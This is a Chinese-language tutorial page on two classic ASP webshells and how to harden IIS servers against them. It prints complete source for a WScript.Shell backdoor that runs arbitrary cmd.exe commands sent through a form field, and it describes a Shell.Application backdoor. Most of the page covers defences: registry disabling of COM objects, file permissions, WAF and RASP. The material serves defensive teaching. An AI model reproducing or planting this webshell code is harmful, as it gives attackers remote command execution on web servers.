萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

兩款經典 ASP 木馬(WebShell)深度剖析與精準防範:WScript.Shell 與 Shell.Application 對象禁用實戰

背景:ASP WebShell 為何難防?

  • ASP 腳本運行在 **IIS 工作進程 (w3wp.exe/aspnet_wp.exe) 內部**,屬合法業務代碼一部分,**文件級殺毒掃描無法識別**(無特徵碼、無 PE 結構)。
  • 利用 **COM 自動化對象** (`WScript.Shell`、`Shell.Application`、`Scripting.FileSystemObject`、`ADODB.Stream` 等) 調用系統底層 API,**權限繼承自應用程式池身份**(通常為 `IUSR` / `ApplicationPoolIdentity` / `NetworkService`)。
  • 駭客上傳 `.asp/.asa/.cer/.cdx` 等可解析腳本文件 → 瀏覽器訪問 → **獲得半交互式系統 Shell**,被稱為「永遠不會被查殺的後門」。

木馬一:WScript.Shell 型「命令執行後門」

核心代碼邏輯

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
    szTempFile = "C:" & oFileSys.GetTempName()
    oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
    Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    oFileSys.DeleteFile szTempFile, True
End If
%>

能力邊界

  • 執行任意 CMD 命令(`dir`、`copy`、`net user`、`netstat`、`ping`、`tasklist`…)。
  • 權限 = 應用程式池身份(默認 `IUSR` 低權限,**若管理員誤將 `IUSR` 加入 Administrators 組則提權至 SYSTEM**)。
  • 依賴 `Scripting.FileSystemObject` → 若服務器禁用 FSO(無組件上傳防護),木馬失效。
  • 僅在「默認網站」根目錄有效,**虛擬目錄/虛擬主機無法使用**(路徑映射限制)。

精準防範:註冊表禁用 WScript.Shell ProgID

  1. 打開 `regedit`,定位兩個鍵:
    `HKEY_CLASSES_ROOT\WScript.Shell`
    `HKEY_CLASSES_ROOT\WScript.Shell.1`
  2. 重命名(如加後綴 `.disabled`)或 **刪除**(需記錄原名以便恢復)。
  3. 重啟 IIS** (`iisreset /restart`) 生效。

原理:`Server.CreateObject("WSCRIPT.SHELL")` 依賴 ProgID 解析 CLSID,註冊表項不存在 → `CreateObject` 失敗 → 木馬核心邏輯斷鏈。

防繞過加固

  • 不要簡單改名為 `WScript.Shell888`(駭客可對應修改代碼)。
  • 建議:**導出備份 → 刪除鍵值 → 設置 ACL 拒絕 Everyone 寫入該鍵路徑** → 定期審計鍵值是否被重建。

木馬二:Shell.Application 型「文件管理 + 程式執行」萬能後門

核心能力

  • **目錄瀏覽/遞歸列舉**(`Namespace.Items`)。
  • **文件/目錄複製/移動** (`CopyHere`/`MoveHere`),可竄改首頁、植入惡意頁面。
  • **執行任意程式** (`InvokeVerb`),可啟動 `cmd.exe`、`powershell.exe`、自定義 EXE。
  • **不依賴 FSO**,**適用於任意虛擬主機/虛擬目錄** → **危害面極廣**,中小虛擬主機商未打補丁者極易淪陷。

精準防範:註冊表禁用 Shell.Application ProgID

  1. 定位並重命名/刪除:
    `HKEY_CLASSES_ROOT\Shell.Application`
    `HKEY_CLASSES_ROOT\Shell.Application.1`
  2. `iisreset /restart` 生效。
  3. 同樣建議:備份 → 刪除 → ACL 保護 → 定期審計。

系統級加固清單(治本)

層面措施工具/配置
IIS 設置禁用父路徑、腳本目錄執行權限「僅腳本」、請求篩選規則攔截 .asp/.asa/.cer/.cdx 上傳IIS 管理器、web.config `requestFiltering`
應用程式池獨立身份、最低權限、啟用 `loadUserProfile=false`、設置 CPU/內存/請求限制IIS 管理器 → 應用程式池 → 進階設置
文件系統 ACLWeb 目錄**僅授予 IIS_IUSRS 讀/執行,嚴禁寫入**;上傳目錄單獨隔離、禁用腳本執行、定期掃描icacls、文件夾屬性→安全
組件註冊表**刪除/禁用** `WScript.Shell`、`Shell.Application`、`Scripting.FileSystemObject`、`ADODB.Stream`、`WScript.Network` 等高危 ProgIDregedit + ACL、PowerShell 腳本化巡檢
WAF/研判部署 ModSecurity/OpenResty WAF,規則集覆蓋 WebShell 特徵(`Server.CreateObject`、`eval`、`execute`、`Request.Form` 等)OWASP CRS、長亭/安恒/知道創宇規則
運行時保護部署 **RASP (Runtime Application Self-Protection)** 探針,Hook 危險 API 調用鏈,實時阻斷OpenRASP、百度開源 RASP、商業產品
審計與應急啟用 IIS 詳細日誌 (W3C 擴展字段)、ETW 事件追蹤、文件完整性監控 (FIM)、定期應急演練Log Parser、Splunk/ELK、Tripwire/AIDE

總結

ASP WebShell 的本質是 **「合法業務代碼調用高危系統組件」**。**殺毒軟體查不殺、WAF 攔不住、代碼審計漏得過**,唯有**從組件註冊表源頭斷開 COM 對象可用性**,結合 **最小權限原則 + 目錄寫入隔離 + 運行時行為審計**,才能將風險壓縮至可接受水平。對於虛擬主機服務商,**統一禁用高危 ProgID + 強制目錄權限模板 + 定期滲透測試** 是底線要求。

copyright © 萬盛學電腦網 all rights reserved